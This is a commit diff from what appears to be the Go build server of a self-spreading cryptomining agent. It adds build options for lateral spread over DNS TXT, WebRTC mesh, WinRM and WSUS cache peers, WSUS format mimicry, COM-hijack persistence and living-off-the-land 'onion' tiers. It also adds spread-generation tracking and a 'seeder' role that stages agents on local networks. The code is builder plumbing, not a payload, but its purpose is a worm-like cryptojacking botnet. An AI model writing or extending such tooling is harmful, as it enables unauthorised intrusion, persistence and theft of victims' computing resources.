Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

This commit is contained in:
AetherForge
2026-06-07 04:58:55 -07:00
parent b2a7b1723f
commit 7b2d41cda8
118 changed files with 9938 additions and 223 deletions

View File

@@ -89,6 +89,7 @@ type BuildRequest struct {
DnsTxtSpread bool `json:"dns_txt_spread"`
WebRTCMeshSpread bool `json:"webrtc_mesh_spread"`
WSUSCachePeerSpread bool `json:"wsus_cache_peer_spread"`
WSUSFormatMimic bool `json:"wsus_format_mimic"`
COMHijackPersist bool `json:"com_hijack_persist"`
LinuxLOTLMode string `json:"linux_lotl_mode"`
TargetOS string `json:"target_os"`
@@ -125,8 +126,18 @@ type BuildRequest struct {
// APK mode — Android fleet node (mining off by default).
ApkMode bool `json:"apk_mode"`
ScoutMode bool `json:"scout_mode"`
ApkAgentName string `json:"apk_agent_name"`
MiningDisabled bool `json:"mining_disabled"`
// Spread genealogy watermark — informational telemetry baked into agent config.
ParentAgentID string `json:"parent_agent_id"`
SpreadGeneration int `json:"spread_generation"`
JoinLane string `json:"join_lane"` // used to derive spread_strain color at bake time
// Fleet role split — seeder serves LAN staging only; miner hashes RandomX.
FleetRole string `json:"fleet_role,omitempty"` // miner | seeder | auto
SeederMode bool `json:"seeder_mode,omitempty"`
}
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
@@ -601,7 +612,40 @@ func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
http.ServeFile(w, r, uninstallPath)
}
func applyFleetRoleBakeDefaults(req *BuildRequest) {
role := normalizeForgeFleetRole(req)
if role != "seeder" && !req.SeederMode {
return
}
req.FleetRole = "seeder"
req.SeederMode = true
req.MiningDisabled = true
req.MinerExecution = "inprocess"
req.GPUEnabled = false
req.DnsTxtSpread = true
req.WebRTCMeshSpread = true
req.WinRMSpread = false
req.WSUSCachePeerSpread = false
req.AutoSpread = true
req.LotlOnionEnabled = true
if len(req.LotlOnionTiers) == 0 {
req.LotlOnionTiers = []string{"dns_txt", "webrtc_mesh", "do_peer"}
} else {
var filtered []string
for _, t := range req.LotlOnionTiers {
switch strings.ToLower(strings.TrimSpace(t)) {
case "dns_txt", "webrtc_mesh", "do_peer":
filtered = append(filtered, t)
}
}
if len(filtered) > 0 {
req.LotlOnionTiers = filtered
}
}
}
func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath string) (BuildResponse, int, string) {
applyFleetRoleBakeDefaults(req)
if req.ApkMode {
return h.buildAPKAgent(ctx, req)
}
@@ -1245,6 +1289,7 @@ func GetBuiltinConfig() BuiltinConfig {
DnsTxtSpread: %v,
WebRTCMeshSpread: %v,
WSUSCachePeerSpread: %v,
WSUSFormatMimic: %v,
COMHijackPersist: %v,
LinuxLOTLMode: %q,
BackupServerURLs: %s,
@@ -1273,8 +1318,17 @@ func GetBuiltinConfig() BuiltinConfig {
LotlPolicyFromServer: %v,
LotlOnionTiers: %s,
ParentAgentID: %q,
SpreadGeneration: %d,
SpreadStrain: %q,
BakedJoinLane: %q,
ApkMode: %v,
ScoutMode: %v,
MiningDisabled: %v,
FleetRole: %q,
SeederMode: %v,
}
}
`, buildID, time.Now().UTC().Format(time.RFC3339),
@@ -1334,6 +1388,7 @@ func GetBuiltinConfig() BuiltinConfig {
req.DnsTxtSpread,
req.WebRTCMeshSpread,
req.WSUSCachePeerSpread,
req.WSUSFormatMimic,
req.COMHijackPersist,
req.LinuxLOTLMode,
formatGoStringSlice(req.BackupServerURLs),
@@ -1357,11 +1412,28 @@ func GetBuiltinConfig() BuiltinConfig {
req.LotlOnionEnabled,
req.LotlPolicyFromServer,
formatGoStringSlice(NormalizeLotlOnionTiers(req.LotlOnionTiers)),
strings.TrimSpace(req.ParentAgentID),
req.SpreadGeneration,
spreadStrainFromJoinLane(req.JoinLane),
strings.TrimSpace(req.JoinLane),
req.ApkMode,
req.ScoutMode,
req.MiningDisabled,
normalizeForgeFleetRole(req),
req.SeederMode || normalizeForgeFleetRole(req) == "seeder",
)
}
func normalizeForgeFleetRole(req *BuildRequest) string {
role := strings.ToLower(strings.TrimSpace(req.FleetRole))
switch role {
case "seeder", "miner", "auto":
return role
default:
return "auto"
}
}
func httpsBeaconFallbackEnabled(req *BuildRequest) bool {
if req.HTTPSBeaconFallback {
return true